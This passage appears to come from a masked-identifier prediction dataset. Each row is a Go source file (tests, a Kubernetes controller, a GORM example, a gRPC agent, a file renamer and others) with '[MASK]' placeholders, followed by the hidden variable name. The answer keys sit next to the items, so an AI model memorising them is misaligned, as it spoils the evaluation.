TestTagManagement(t *testing.T) { tag1, err := channel.CreateTag(""tag1"") if err != nil { t.Error(""create tag1 error"", err) } if tag1 != ""tag1"" { t.Errorf(""create tag returns %s want tag1"", tag1) } tag2, err := channel.CreateTag(""tag2"") if err != nil { t.Error(""create tag2 error"", err) } if tag2 != ""tag2"" { t.Errorf(""create tag returns %s want tag2"", tag2) } tag3, err := channel.CreateTag(""tag3"") if err != nil { t.Error(""create tag3 error"", err) } if tag3 != ""tag3"" { t.Errorf(""create tag returns %s want tag3"", tag3) } totalNum, tagsInfo, err := channel.QueryTagsInfo(nil) if err != nil { t.Error(""query tags info error"", err) } if totalNum != 4 { // tag1 tag2 tag3 and default t.Errorf(""total number %d want 4"", totalNum) } for _, info := range tagsInfo { if info.Tag != ""default"" && info.Tag != ""tag1"" && info.Tag != ""tag2"" && info.Tag != ""tag3"" { t.Errorf(""tag %s want tag1 or tag2 or tag3"", info.Tag) } } results, err := channel.AddTagDevices(""tag2"", []string{channelID}) if err != nil { t.Error(""add tag2 devices error"", err) } else { if len(results) != 1 { t.Errorf(""len(results) = %d want 1"", len(results)) } if results[0].ChnID != channelID { t.Errorf(""return channel ID %s want %s"", results[0].ChnID, channelID) } if results[0].Res != 0 { t.Error(""add devices to tag failed"") } } _, err = channel.GetTagDevicesNumber(""tag2"") if err != nil { t.Error(""get tag devices number error"", err) } results, err = channel.DeleteTagDevices(""tag2"", []string{channelID}) if err != nil { t.Error(""add tag2 devices error"", err) } else { if len(results) != 1 { t.Errorf(""len(results) = %d want 1"", len(results)) } if results[0].ChnID != channelID { t.Errorf(""return channel ID %s want %s"", results[0].ChnID, channelID) } } tag1, err = channel.DeleteTag(""tag1"") if err != nil { t.Error(""delete tag1 error"", err) } if tag1 != ""tag1"" { t.Errorf(""delete tag returns %s want tag1"", tag1) } tag2, err = channel.DeleteTag(""tag2"") if err != nil { t.Error(""delete tag2 error"", err) } if tag2 != ""tag2"" { t.Errorf(""delete tag returns %s want tag2"", tag2) } tag3, err = channel.DeleteTag(""tag3"") if err != nil { t.Error(""delete tag3 error"", err) } if tag3 != ""tag3"" { t.Errorf(""delete tag returns %s want tag3"", tag3) } } ",tid 121,"package controllers import ( ""context"" postgresv1alpha1 ""github.com/orbatschow/kubepost/api/v1alpha1"" ""k8s.io/apimachinery/pkg/runtime"" ctrl ""sigs.k8s.io/controller-runtime"" ""sigs.k8s.io/controller-runtime/pkg/client"" ""sigs.k8s.io/controller-runtime/pkg/log"" ) // ConnectionReconciler reconciles a Connection object type ConnectionReconciler struct { client.Client Scheme *runtime.Scheme } // +kubebuilder:rbac:groups=core,resources=namespaces,verbs=get;list;watch // +kubebuilder:rbac:groups=core,resources=secrets,verbs=get;list;watch // +kubebuilder:rbac:groups=postgres.kubepost.io,resources=connections,verbs=get;list;watch;create;update;patch;delete // +kubebuilder:rbac:groups=postgres.kubepost.io,resources=connections/status,verbs=get;update;patch // +kubebuilder:rbac:groups=postgres.kubepost.io,resources=connections/finalizers,verbs=update func (r *ConnectionReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { _ = log.FromContext(ctx) var obj postgresv1alpha1.Connection if err := r.Get(ctx, req.NamespacedName, &obj); err != nil { return ctrl.Result{}, client.IgnoreNotFound(err) } // TODO // _, err := connection.GetConnection(ctx, r.Client, obj) // if err != nil { // return ctrl.Result{}, err // } return ctrl.Result{}, nil } // SetupWithManager sets up the controller with the Manager. func (r *ConnectionReconciler) SetupWithManager( [MASK] ctrl.Manager) error { return ctrl.NewControllerManagedBy( [MASK] ). For(&postgresv1alpha1.Connection{}). Complete(r) } ",mgr 122,"package main import ( ""fmt"" ""io/fs"" ""log"" ""os"" ""os/exec"" ""path/filepath"" ) func main() { if err := run(); err != nil { log.Fatal(err) } } func run() error { path := os.Getenv(""BUILDER_GOBIN_PATH"") abs, err := filepath.Abs(path) if err != nil { return err } [MASK] := exec.Command(os.Args[1], os.Args[2:]...) [MASK] .Stdout = os.Stdout [MASK] .Stderr = os.Stderr [MASK] .Stdin = os.Stdin [MASK] .Env = os.Environ() [MASK] .Env = append( [MASK] .Env, fmt.Sprintf(""PATH=%s"", abs)) // goroot goroot := os.Getenv(""BUILDER_GOROOT"") if goroot == """" { return fmt.Errorf(""BUILDER_GOROOT is not set"") } goroot, err = filepath.Abs(goroot) if err != nil { return err } [MASK] .Env = append( [MASK] .Env, fmt.Sprintf(""GOROOT=%s"", goroot)) tinyGoRoot := os.Getenv(""BUILDER_TINYGOROOT"") if tinyGoRoot == """" { return fmt.Errorf(""BUILDER_TINYGOROOT is not set"") } tinyGoRoot, err = filepath.Abs(tinyGoRoot) if err != nil { return err } [MASK] .Env = append( [MASK] .Env, fmt.Sprintf(""TINYGOROOT=%s"", tinyGoRoot)) if err := [MASK] .Run(); err != nil { return err } return nil } func tree() { _ = filepath.WalkDir(""."", func(path string, d fs.DirEntry, err error) error { fmt.Println(path) return nil }) } ",cmd 123,"/* Copyright 2020 The Knative Authors Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package metricstest simplifies some of the common boilerplate around testing // metrics exports. It should work with or without the code in metrics, but this // code particularly knows how to deal with metrics which are exported for // multiple Resources in the same process. package metricstest import ( ""testing"" ""time"" ""github.com/google/go-cmp/cmp"" ""go.opencensus.io/metric/metricdata"" ""go.opencensus.io/resource"" ) func TestMetricEqual(t *testing.T) { [MASK] := []int64{127, -1} baseValue := &metricdata.Metric{ Descriptor: metricdata.Descriptor{ Name: ""testing/metric"", Unit: metricdata.UnitMilliseconds, Type: metricdata.TypeGaugeInt64, LabelKeys: []metricdata.LabelKey{{""key1"", """"}, {""key2"", """"}}, }, Resource: &resource.Resource{ Type: ""testObject"", Labels: map[string]string{""rl1"": ""aaa"", ""rl2"": ""bbb""}, }, TimeSeries: []*metricdata.TimeSeries{ { LabelValues: []metricdata.LabelValue{{""val1"", true}, {""val2"", true}}, Points: []metricdata.Point{metricdata.NewInt64Point(time.Now(), [MASK] [0])}, }, { LabelValues: []metricdata.LabelValue{{""val1"", true}, {""val3"", true}}, Points: []metricdata.Point{metricdata.NewInt64Point(time.Now(), [MASK] [1])}, }, }, } tests := []struct { name string want *Metric notEqual bool }{{ name: ""Minimal test"", want: &Metric{ Name: ""testing/metric"", }, }, { name: ""Test resource not equal"", want: &Metric{ Name: ""testing/metric"", VerifyResource: true, }, notEqual: true, }, { name: ""Test unit not equal"", want: &Metric{ Name: ""testing/metric"", Unit: metricdata.UnitBytes, }, notEqual: true, }, { name: ""Test unit missing"", want: &Metric{ Name: ""testing/metric"", Type: metricdata.TypeGaugeInt64, VerifyMetadata: true, }, notEqual: true, }, { name: ""Test type not equal"", want: &Metric{ Name: ""testing/metric"", Unit: metricdata.UnitMilliseconds, Type: metricdata.TypeCumulativeInt64, VerifyMetadata: true, }, notEqual: true, }, { name: ""Check resource"", want: &Metric{ Name: ""testing/metric"", Resource: &resource.Resource{ Type: ""testObject"", Labels: map[string]string{""rl2"": ""bbb"", ""rl1"": ""aaa""}, }, }, }, { name: ""Mismatched resource"", want: &Metric{ Name: ""testing/metric"", Resource: &resource.Resource{ Type: ""testObject"", Labels: map[string]string{""rl1"": ""aaa""}, }, }, notEqual: true, }, { name: ""Test value match"", want: &Metric{ Name: ""testing/metric"", Values: []Value{ { Tags: map[string]string{""key1"": ""val1"", ""key2"": ""val2""}, Int64: & [MASK] [0], }, { Tags: map[string]string{""key1"": ""val1"", ""key2"": ""val3""}, Int64: & [MASK] [1], }, }, }, }, { name: ""Too few values"", want: &Metric{ Name: ""testing/metric"", Values: []Value{ { Tags: map[string]string{""key1"": ""val1"", ""key2"": ""val2""}, Int64: & [MASK] [0], }, }, }, notEqual: true, }, { name: ""Wrong tags"", want: &Metric{ Name: ""testing/metric"", Values: []Value{ { Tags: map[string]string{""key1"": ""val1"", ""key2"": ""val2""}, Int64: & [MASK] [0], }, { Tags: map[string]string{""key1"": ""val1"", ""key2"": ""bbb""}, Int64: & [MASK] [1], }, }, }, notEqual: true, }} for _, tc := range tests { t.Run(tc.name, func(t *testing.T) { m := NewMetric(baseValue) // cmp needs to match types to find the Equal method. if diff := cmp.Diff(tc.want, &m); (diff == """") == tc.notEqual { t.Errorf(""Metric.Equal() = %t failed (-want +base):\n%s"", !tc.notEqual, diff) } }) } } func buckets(v ...int64) []metricdata.Bucket { ret := []metricdata.Bucket{} for _, c := range v { ret = append(ret, metricdata.Bucket{Count: c}) } return ret } func bucketOpts(bounds ...float64) *metricdata.BucketOptions { return &metricdata.BucketOptions{Bounds: bounds} } func TestDistributionEqual(t *testing.T) { baseValue := NewMetric(&metricdata.Metric{ Descriptor: metricdata.Descriptor{ Name: ""testing/distribution"", LabelKeys: []metricdata.LabelKey{{""key1"", """"}}, }, TimeSeries: []*metricdata.TimeSeries{ { LabelValues: []metricdata.LabelValue{{""val1"", true}}, Points: []metricdata.Point{metricdata.NewDistributionPoint( time.Now(), &metricdata.Distribution{ Count: 5, // Values: 0.5, 5, 5, 5, 10 Sum: 25.5, SumOfSquaredDeviation: 45.2, BucketOptions: bucketOpts(2, 4, 8), Buckets: buckets(1, 0, 3, 1), }, )}, }, }, }) floatVal := -3.22 tests := []struct { name string want Value notEqual bool }{{ name: ""Equal"", want: Value{ Tags: map[string]string{""key1"": ""val1""}, Distribution: &metricdata.Distribution{ Count: 5, Sum: 25.5, SumOfSquaredDeviation: 45.2, BucketOptions: bucketOpts(2, 4, 8), Buckets: buckets(1, 0, 3, 1), }, }, }, { name: ""Missing summary"", want: Value{ Tags: map[string]string{""key1"": ""val1""}, Distribution: &metricdata.Distribution{ BucketOptions: bucketOpts(2, 4, 8), Buckets: buckets(1, 0, 3, 1), }, }, notEqual: true, }, { name: ""Wrong bucket splits"", want: Value{ Tags: map[string]string{""key1"": ""val1""}, Distribution: &metricdata.Distribution{ Count: 5, Sum: 25.5, SumOfSquaredDeviation: 45.2, BucketOptions: bucketOpts(1, 2, 3, 5, 8), Buckets: buckets(1, 0, 3, 1), }, }, notEqual: true, }, { name: ""Wrong bucket values"", want: Value{ Tags: map[string]string{""key1"": ""val1""}, Distribution: &metricdata.Distribution{ Count: 5, Sum: 25.5, SumOfSquaredDeviation: 45.2, BucketOptions: bucketOpts(2, 4, 8), Buckets: buckets(1, 3, 1, 0), }, }, notEqual: true, }, { name: ""Wrong type"", want: Value{ Tags: map[string]string{""key1"": ""val1""}, Float64: &floatVal, }, notEqual: true, }} for _, tc := range tests { t.Run(tc.name, func(t *testing.T) { wantMetric := Metric{ Name: ""testing/distribution"", Values: []Value{tc.want}, } if diff := cmp.Diff(&wantMetric, &baseValue); (diff == """") == tc.notEqual { t.Errorf(""Value.Equal() = %t failed (-want +base):\n%s"", !tc.notEqual, diff) } }) } } func TestMetricShortcuts(t *testing.T) { tests := []struct { name string want Metric got metricdata.Metric }{{ name: ""IntMetric"", want: IntMetric(""test/int"", 17, ""key1"", ""val1"", ""key2"", ""val2""), got: metricdata.Metric{ Descriptor: metricdata.Descriptor{ Name: ""test/int"", LabelKeys: []metricdata.LabelKey{{""key1"", """"}, {""key2"", """"}}, }, TimeSeries: []*metricdata.TimeSeries{{ LabelValues: []metricdata.LabelValue{{""val1"", true}, {""val2"", true}}, Points: []metricdata.Point{metricdata.NewInt64Point(time.Now(), 17)}, }}, }, }, { name: ""FloatMetric"", want: FloatMetric(""test/float"", 0.17, ""key1"", ""val1"", ""key2"", ""val2""), got: metricdata.Metric{ Descriptor: metricdata.Descriptor{ Name: ""test/float"", LabelKeys: []metricdata.LabelKey{{""key1"", """"}, {""key2"", """"}}, }, TimeSeries: []*metricdata.TimeSeries{{ LabelValues: []metricdata.LabelValue{{""val1"", true}, {""val2"", true}}, Points: []metricdata.Point{metricdata.NewFloat64Point(time.Now(), 0.17)}, }}, }, }} for _, tc := range tests { if diff := cmp.Diff(tc.want, NewMetric(&tc.got)); diff != """" { t.Errorf(""Metric.Equal() failed (-want +got): %s"", diff) } } } ",pointValues 124,"package main import ( ""context"" ""flag"" ""fmt"" ""log"" ""os"" ""time"" ""github.com/shinxiang/gormgen/example/dao"" ""github.com/shinxiang/gormgen/example/model"" ""github.com/shinxiang/gormgen/example/opt"" ""github.com/spf13/viper"" ""gorm.io/driver/mysql"" ""gorm.io/gorm"" ""gorm.io/gorm/logger"" ""gorm.io/gorm/schema"" ) var Viper = viper.New() func main() { var [MASK] = flag.String(""c"", ""./"", ""config file path"") flag.Parse() Viper.SetConfigName(""config"") // config file name without file type Viper.SetConfigType(""yaml"") // config file type Viper.AddConfigPath(* [MASK] ) // config file path if err := Viper.ReadInConfig(); err != nil { panic(err) } // Connect mysql dsn := Viper.GetString(""database.dsn"") db, err := gorm.Open(mysql.Open(dsn), &gorm.Config{ Logger: logger.Default.LogMode(logger.Info), NamingStrategy: schema.NamingStrategy{ TablePrefix: """", SingularTable: true, }, }) if err != nil { log.Fatalln(""connect mysql error:"", err) } TestInsert(db) TestSave(db) TestFindOne(db) TestFindList(db) TestFindListAll(db) TestCount(db) TestUpdate(db) TestDelete(db) } func TestInsert(db *gorm.DB) { var dao dao.IUserDao = dao.NewUserDao(db) var user = model.User{ Username: ""admin"", Nickname: ""admin"", Status: ""Y"", } err := dao.Insert(context.Background(), &user) if err != nil { fmt.Printf(""Insert error %+v"", err) os.Exit(1) } } func TestSave(db *gorm.DB) { var dao dao.IUserDao = dao.NewUserDao(db) user := model.User{ Id: 1, Username: ""root"", Nickname: ""root"", Status: ""N"", } err := dao.Save(context.Background(), &user) if err != nil { fmt.Printf(""Save error %+v"", err) os.Exit(1) } } func TestFindOne(db *gorm.DB) { var dao dao.IUserDao = dao.NewUserDao(db) option := opt.NewUserOption(). Where(""username = ?"", ""admin""). OrderBy(""id desc"") data, err := dao.FindOne(context.Background(), option) if err != nil { fmt.Printf(""FindOne error %+v"", err) os.Exit(1) } fmt.Println(""FindOne:"", data) } func TestFindList(db *gorm.DB) { var dao dao.IUserDao = dao.NewUserDao(db) option := opt.NewUserOption(). SetPage(0, 2). Where(""id > ? and username like ?"", 1, ""%""+""admin""+""%"") list, total, err := dao.FindList(context.Background(), option) if err != nil { fmt.Printf(""FindList error %+v"", err) os.Exit(1) } fmt.Println(""Total:"", total, ""Page List:"", list) } func TestFindListAll(db *gorm.DB) { var dao dao.IUserDao = dao.NewUserDao(db) list, total, err := dao.FindList(context.Background(), nil) if err != nil { fmt.Printf(""FindListAll error %+v"", err) os.Exit(1) } fmt.Println(""Total:"", total, ""List:"", list) } func TestCount(db *gorm.DB) { var dao dao.IUserDao = dao.NewUserDao(db) option := opt.NewUserOption() option.Where(""username = ?"", ""admin"") count, err := dao.Count(context.Background(), option) if err != nil { fmt.Printf(""Count error %+v"", err) os.Exit(1) } fmt.Println(""count ="", count) } func TestUpdate(db *gorm.DB) { var dao dao.IUserDao = dao.NewUserDao(db) user := model.User{ Id: 1, Username: ""root"", Nickname: ""root"", Status: ""Y"", CreateTime: time.Now(), } // GORM when updating with struct it will only update non-zero fields by default. // Use option.SelectAll() can solve this problem. option := opt.NewUserOption().SelectAll() err := dao.Update(context.Background(), &user, option) if err != nil { fmt.Printf(""Update error %+v"", err) os.Exit(1) } } func TestDelete(db *gorm.DB) { var dao dao.IUserDao = dao.NewUserDao(db) option := opt.NewUserOption() option.Where(""id = ?"", 2) err := dao.Delete(context.Background(), option) if err != nil { fmt.Printf(""Delete error %+v"", err) os.Exit(1) } } ",configFilePath 125,"package main import ( ""context"" ""fmt"" ""github.com/rs/xid"" ""github.com/spf13/cobra"" ""github.com/steromano87/uzi/v1/pkg/injector"" ""golang.org/x/sync/errgroup"" ""google.golang.org/grpc"" ""net"" ""os"" ""os/signal"" ""syscall"" ) func init() { registerWorkingFolderFlag(agentCmd) agentCmd.Flags().String( ""id"", xid.New().String(), ""the ID of this injector. If not specified, a random ID will be picked"") agentCmd.Flags().Uint16P( ""port"", ""p"", 9000, ""the port used by injector to listen to incoming connections. If not specified, port 9000 will be used"") registerSubcommand(agentCmd) } var agentCmd = &cobra.Command{ Use: ""agent"", Short: ""Starts a remote injector agent"", Run: runAgent, } func runAgent(cmd *cobra.Command, _ []string) { mainCtx, cancelFunc := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) defer cancelFunc() logger := setupDefaultLogger() agentId, err := cmd.Flags().GetString(""id"") cobra.CheckErr(err) logger.Info().Msg(""Starting remote agent"") listeningPort, err := cmd.Flags().GetUint16(""port"") cobra.CheckErr(err) tcpListener, err := net.Listen(""tcp"", fmt.Sprintf("":%d"", listeningPort)) cobra.CheckErr(err) logger.Info().Uint16(""listeningPort"", listeningPort).Msg(""Listening for incoming connections"") [MASK] := make([]grpc.ServerOption, 0) grpcServer := grpc.NewServer( [MASK] ...) agent := injector.NewAgent(agentId) agent.Register(grpcServer) errGroup := errgroup.Group{} errGroup.Go(func() error { return grpcServer.Serve(tcpListener) }) errGroup.Go(func() error { err := agent.Serve(mainCtx) grpcServer.GracefulStop() return err }) logger.Info().Msg(""Remote injector started, press Ctrl+C to stop it"") cobra.CheckErr(errGroup.Wait()) logger.Info().Msg(""Agent stopped"") } ",grpcServerOpts 126,"package inmemory import ( ""context"" ""sort"" ""sync"" ""time"" ""github.com/pkg/errors"" ""github.com/theflyingcodr/things"" ) type thing struct { sync.RWMutex store map[uint64]*things.Thing } // NewThing will setup and return a new inmemory thing store. // This is used for local caching of data. If you wanted a distributed cache you'd // implement a redis store or equivalent. func NewThing() *thing { return &thing{store: map[uint64]*things.Thing{}} } // Thing returns a single thing, if found, or an error if not. func (t *thing) Thing(ctx context.Context, args things.ThingArgs) (*things.Thing, error) { t.RLock() defer t.RUnlock() [MASK] , ok := t.store[args.ThingID] if !ok { return nil, errors.Errorf(""thing with ID %d not found"", args.ThingID) } return [MASK] , nil } // Things will return all things currently stored in order of ThingID. func (t *thing) Things(ctx context.Context) ([]*things.Thing, error) { t.RLock() defer t.RUnlock() tt := make([]*things.Thing, 0, len(t.store)) for _, v := range t.store { tt = append(tt, v) } sort.Slice(tt, func(i, j int) bool { return tt[i].ThingID < tt[j].ThingID }) return tt, nil } // Cache will add a full Thing to the cache. func (t *thing) Cache(ctx context.Context, req things.Thing) error { t.Lock() defer t.Unlock() if _, ok := t.store[req.ThingID]; ok { return errors.Errorf(""thing with id %d already exists in the cache"", req.ThingID) } t.store[req.ThingID] = &req return nil } // Create will add a new thing to the data store. func (t *thing) Create(ctx context.Context, req things.ThingCreate) (*things.Thing, error) { t.Lock() defer t.Unlock() id := uint64(len(t.store) + 1) t.store[id] = &things.Thing{ ThingID: id, Name: req.Name, CreatedAt: time.Now().UTC(), ModifiedAt: time.Now().UTC(), } return t.store[id], nil } // update will update a thing in the data store. func (t *thing) Update(ctx context.Context, args things.ThingArgs, req things.ThingUpdate) (*things.Thing, error) { t.Lock() defer t.Unlock() th, ok := t.store[args.ThingID] if !ok { return nil, errors.Errorf(""thing with ID %d not found when updating"", args.ThingID) } th.Name = req.Name th.ModifiedAt = req.ModifiedAt return th, nil } // Delete will remove a thing from the data store. func (t *thing) Delete(ctx context.Context, args things.ThingArgs) error { t.Lock() defer t.Unlock() delete(t.store, args.ThingID) return nil } ",resp 127,"// Copyright 2020 // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package collectors import ( ""fmt"" ""os"" ""os/exec"" ""path/filepath"" ""runtime"" kingpin ""github.com/alecthomas/kingpin/v2"" ""github.com/prometheus/client_golang/prometheus"" ) const ( namespace = ""infiniband"" ) var ( useSudo = kingpin.Flag(""sudo"", ""Use sudo to execute IB commands"").Default(""false"").Bool() execCommand = exec.CommandContext collectDuration = prometheus.NewDesc( prometheus.BuildFQName(namespace, ""exporter"", ""collector_duration_seconds""), ""Collector time duration."", []string{""collector""}, nil) collectErrors = prometheus.NewDesc( prometheus.BuildFQName(namespace, ""exporter"", ""collect_errors""), ""Number of errors that occurred during collection"", []string{""collector""}, nil) collecTimeouts = prometheus.NewDesc( prometheus.BuildFQName(namespace, ""exporter"", ""collect_timeouts""), ""Number of timeouts that occurred during collection"", []string{""collector""}, nil) lastExecution = prometheus.NewDesc( prometheus.BuildFQName(namespace, ""exporter"", ""last_execution""), ""Last execution time of exporter"", []string{""collector""}, nil) ) func ReadFixture(outputType string, name string) (string, error) { _, filename, _, _ := runtime.Caller(0) [MASK] := filepath.Dir(filename) if filepath.Base( [MASK] ) != ""collectors"" { [MASK] = filepath.Join( [MASK] , ""collectors"") } fixtureDir := filepath.Join( [MASK] , ""fixtures"", outputType) fixture := filepath.Join(fixtureDir, fmt.Sprintf(""%s.out"", name)) buffer, err := os.ReadFile(fixture) if err != nil { return """", err } return string(buffer), nil } ",dir 128,"package main import ( ""flag"" ""fmt"" ""os"" ""strings"" ""github.com/p-nand-q/opp"" ) func main() { var ( output = flag.String(""o"", """", ""Output file (default: stdout)"") defines flagList ) flag.Var(&defines, ""D"", ""Define a variable (can be used multiple times)"") flag.Parse() if flag.NArg() < 1 { fmt.Fprintf(os.Stderr, ""Usage: %s [options] \n"", os.Args[0]) flag.PrintDefaults() os.Exit(1) } inputFile := flag.Arg(0) // Read input file input, err := os.ReadFile(inputFile) if err != nil { fmt.Fprintf(os.Stderr, ""Error reading file: %v\n"", err) os.Exit(1) } // Create preprocessor preprocessor := opp.New() // Apply command-line defines for _, def := range defines { parts := strings.SplitN(def, ""="", 2) if len(parts) == 2 { preprocessor.Define(parts[0], parts[1]) } else { preprocessor.Define(parts[0], ""1"") } } // Process the input [MASK] , err := preprocessor.Process(string(input)) if err != nil { fmt.Fprintf(os.Stderr, ""Preprocessing error: %v\n"", err) os.Exit(1) } // Write output if *output != """" { err = os.WriteFile(*output, []byte( [MASK] ), 0644) if err != nil { fmt.Fprintf(os.Stderr, ""Error writing output: %v\n"", err) os.Exit(1) } } else { fmt.Print( [MASK] ) } } // flagList allows multiple -D flags type flagList []string func (f *flagList) String() string { return strings.Join(*f, "", "") } func (f *flagList) Set(value string) error { *f = append(*f, value) return nil }",result 129,"package main import ( ""context"" ""fmt"" ""os"" ""sync"" ""github.com/aws/aws-sdk-go-v2/aws"" ""github.com/aws/aws-sdk-go-v2/service/cognitoidentityprovider"" ""github.com/aws/aws-sdk-go-v2/service/cognitoidentityprovider/types"" ) type resultCognito struct { Message string UserID string Error error } type awsCognitoIdentityProviderAPI interface { AdminUpdateUserAttributes( ctx context.Context, params *cognitoidentityprovider.AdminUpdateUserAttributesInput, optFns ...func(*cognitoidentityprovider.Options), ) (*cognitoidentityprovider.AdminUpdateUserAttributesOutput, error) } func writeStripeIDUserAttribute( ctx context.Context, wg *sync.WaitGroup, ch chan resultCognito, cognito awsCognitoIdentityProviderAPI, [MASK] createCustomerEvent, ) { defer wg.Done() userPoolID, ok := os.LookupEnv(""USER_POOL_ID"") if !ok { ch <- resultCognito{Error: fmt.Errorf(""environment variable USER_POOL_ID is not set""), UserID: [MASK] .CognitoUserID, Message: ""Unable to add user attribute""} } input := &cognitoidentityprovider.AdminUpdateUserAttributesInput{ UserAttributes: []types.AttributeType{{ Name: aws.String(""custom:stripe_customer_id""), Value: aws.String( [MASK] .StripeCustomerID), }}, UserPoolId: aws.String(userPoolID), Username: aws.String( [MASK] .CognitoUserID), } _, err := cognito.AdminUpdateUserAttributes(ctx, input) if err != nil { ch <- resultCognito{Error: err, UserID: [MASK] .CognitoUserID, Message: ""Unable to add user attribute""} } } ",event 130,"package main import ( ""flag"" ""fmt"" ""os"" ""path/filepath"" ""regexp"" ""runtime/debug"" ""sort"" ""strings"" ""golang.org/x/text/width"" ) const ( tmplOrder = ""${o}"" tmplParent = ""${p}"" ) type sortedEntry []os.DirEntry func (e sortedEntry) Len() int { return len(e) } func (e sortedEntry) Swap(i, j int) { e[i], e[j] = e[j], e[i] } func (e sortedEntry) Less(i, j int) bool { return e[i].Name() < e[j].Name() } func (e sortedEntry) MaxLength() (maxlen int) { for _, entry := range e { if l := strWidth(entry.Name()); l > maxlen { maxlen = l } } return } func strWidth(s string) (w int) { for _, r := range s { switch width.LookupRune(r).Kind() { case width.EastAsianFullwidth, width.EastAsianWide: w += 2 default: w += 1 } } return } func walk(mode int, dir, expr, template string, dryrun bool) error { absdir, err := filepath.Abs(dir) if err != nil { return err } fmt.Println(""Walk directory:"", absdir) if mode == 3 { return secondary(absdir, expr, template, dryrun) } _entries, err := os.ReadDir(absdir) if err != nil { return err } entries := sortedEntry(_entries) sort.Sort(entries) step := ""Test"" if !dryrun { step = ""Done"" } maxlen := entries.MaxLength() number := 1 for _, entry := range entries { oldname := entry.Name() pad := maxlen - strWidth(oldname) format := fmt.Sprintf(""[%s] %%s%s -> %%s\n"", step, strings.Repeat("" "", pad)) if mode == 1 && !entry.IsDir() { fmt.Printf(format, oldname, ""Skip file"") continue } if (mode == 2 || *copied) && entry.IsDir() { fmt.Printf(format, oldname, ""Skip directory"") continue } name := oldname var ext string if !*extension && !entry.IsDir() { if idx := strings.LastIndexByte(oldname, '.'); idx > 0 { name, ext = oldname[:idx], oldname[idx:] } } tmpl := template if *order > 0 { orderstr := fmt.Sprintf(fmt.Sprintf(""%%0%dd"", *order), number) if strings.Contains(tmpl, tmplOrder) { tmpl = strings.Replace(tmpl, tmplOrder, orderstr, -1) } else { tmpl += orderstr } } newname := regexp.MustCompile(expr).ReplaceAllString(name, tmpl) if name == newname { fmt.Printf(format, oldname, ""Skip same name"") continue } newname += ext fmt.Printf(format, oldname, newname) number++ if dryrun { continue } oldname = filepath.Join(absdir, oldname) newname = filepath.Join(absdir, newname) if *copied { err = os.Link(oldname, newname) } else { err = os.Rename(oldname, newname) } if err != nil { return err } } return nil } func secondary(absdir, expr, template string, dryrun bool) error { [MASK] , err := os.ReadDir(absdir) if err != nil { return err } step := ""Test"" if !dryrun { step = ""Done"" } maxlen := 0 for _, dirEntry := range [MASK] { if !dirEntry.IsDir() { continue } _entries, err := os.ReadDir(filepath.Join(absdir, dirEntry.Name())) if err != nil { return err } entries := sortedEntry(_entries) if l := strWidth(dirEntry.Name()) + 1 + entries.MaxLength(); l > maxlen { maxlen = l } } for _, dirEntry := range [MASK] { if !dirEntry.IsDir() { continue } _entries, err := os.ReadDir(filepath.Join(absdir, dirEntry.Name())) if err != nil { return err } entries := sortedEntry(_entries) sort.Sort(entries) number := 1 for _, entry := range entries { oldname := entry.Name() pad := maxlen - strWidth(dirEntry.Name()+oldname) - 1 format := fmt.Sprintf(""[%s] %%s%%s -> %%s\n"", step) if len(entries) >= *skip { fmt.Printf(format, dirEntry.Name(), strings.Repeat("" "", maxlen-strWidth(dirEntry.Name())), ""Skip secondary many files"") break } if entry.IsDir() { fmt.Printf(format, filepath.Join(dirEntry.Name(), oldname), strings.Repeat("" "", pad), ""Skip secondary directory"") continue } name := oldname var ext string if !*extension { if idx := strings.LastIndexByte(oldname, '.'); idx > 0 { name, ext = oldname[:idx], oldname[idx:] } } tmpl := template if *order > 0 { orderstr := fmt.Sprintf(fmt.Sprintf(""%%0%dd"", *order), number) if strings.Contains(tmpl, tmplOrder) { tmpl = strings.Replace(tmpl, tmplOrder, orderstr, -1) } else { tmpl += orderstr } } if strings.Contains(tmpl, tmplParent) { tmpl = strings.Replace(tmpl, tmplParent, dirEntry.Name(), -1) } newname := regexp.MustCompile(expr).ReplaceAllString(name, tmpl) newname += ext oldname = filepath.Join(dirEntry.Name(), oldname) fmt.Printf(format, oldname, strings.Repeat("" "", pad), newname) number++ if dryrun { continue } oldname = filepath.Join(absdir, oldname) newname = filepath.Join(absdir, newname) if *copied { err = os.Link(oldname, newname) } else { err = os.Rename(oldname, newname) } if err != nil { return err } } } return nil } func confirm(s string, anykey bool) bool { for { fmt.Printf(""%s [Y / N]: "", s) var response string if _, err := fmt.Scanln(&response); err != nil { return false } response = strings.ToLower(strings.TrimSpace(response)) switch response { case ""y"", ""yes"": return true case ""n"", ""no"": return false default: if anykey { return false } } } } var ( mode = flag.Int(""mode"", 0, ""(0) File & Directory in local directory\n""+ ""(1) Directory in local directory\n""+ ""(2) File in local directory\n""+ ""(3) Rename File in secondary directory to local directory, ${p} is parent dir"") dir = flag.String(""dir"", ""."", ""Directory to walk"") expr = flag.String(""expr"", ""^(.*)$"", ""Regular expression to extract name"") template = flag.String(""template"", ""${p}${1}"", ""Rename to template, ignore ${p} even if mode=3"") order = flag.Int(""order"", 0, fmt.Sprintf(""Order, %s is place in template\n"", tmplOrder)+ ""Default order is like ${template}${order}${extension}"") extension = flag.Bool(""extension"", false, ""Match with file extension"") copied = flag.Bool(""copy"", false, ""Copy file instead rename"") skip = flag.Int(""skip"", 10, ""Skip too many files directory if mode=3"") ) func main() { defer confirm(""Press any key to quit"", true) defer func() { if p := recover(); p != nil { fmt.Println(p) fmt.Println(string(debug.Stack())) } }() flag.Parse() if *mode != 3 && strings.Contains(*template, tmplParent) { *template = strings.Replace(*template, tmplParent, """", -1) } if err := walk(*mode, *dir, *expr, *template, true); err != nil { panic(err) } if confirm(""Run All?"", false) { if err := walk(*mode, *dir, *expr, *template, false); err != nil { panic(err) } } } ",dirs 131,"package fixgen type FixOrder interface { SingleOrder() string ExecutionReport() string } type Fix struct { clordid string orderid string orderqty int 